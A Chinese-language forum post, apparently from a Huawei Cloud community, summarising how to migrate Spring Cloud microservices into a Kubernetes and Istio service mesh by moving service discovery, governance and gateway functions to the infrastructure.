传统微服务框架在服务网格中集成的实践详情**总体思路**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173194399917971.png)卸载SDK的服务发现和服务治理的功能,将这些功能迁移到基础设施上,让用户从这些中解脱出来,只专注于自己的业务代码。**解决方案**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173206617415069.png)!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173231925154426.png)传统微服务的发现是注册到注册中心在使用网格之后,平台同一服务发现,使用kube-proxy进行服务发现和负载均衡,Kube-proxy 直接返回服务的ip和端口,这样的话就消除容器环境下服务发现数据不及时的问题。在使用k8s做服务发现,再使用网格的能力,服务完全无需修改适配**Spring cloud项目的改造**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173251864677119.png)在原来的配置中,取消对注册中心的注册,改为直接使用服务名:端口进行访问,直连的这种方式会被k8s 进行转发,对业务代码无需修改,减少了工作量。注意:**要和访问的服务保持协议一致。****移除spring cloud 的项目依赖**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173273991517518.png)**微服务网关的改进**!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173288079137091.png)情况1:微服务网关有业务逻辑写了很多自定义的逻辑,比如filter的过滤等等,这种情况下网关可以作为普通的微服务部署在网格内。情况2:微服务只有通用逻辑能力直接用Ingress进行替换,进行地址映射,路径映射等基础能力,移除原来的网关。**集成微服务注册中心到网格**由于有些项目开发架构自成体系,不太适合直接排除原来的基础能力,在这种情况下想使用网格的能力,需要把原来的注册中心导入。Istio从微服务的注册中心导入注册数据,并且转换格式存储,在这种情况下依然可以配置相同的治理规则。!(https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/25/1648173305397667851.png)# 总结使用k8s和lstio网格进行开发,将服务发现,服务治理留给基础设施,可以将开发人员从复杂的服务中解脱出来,专注于业务开发,是当前来说比较好的解决方案。视频地址:https://education.huaweicloud.com/courses/course-v1:HuaweiX+CBUCNXI055+Self-paced/courseware/511f6f06d97d4aaf9b90445dca5800d1/c08eb6fa0dd14a34bd617c6beb63a923/
总条数:314 到第
上滑加载中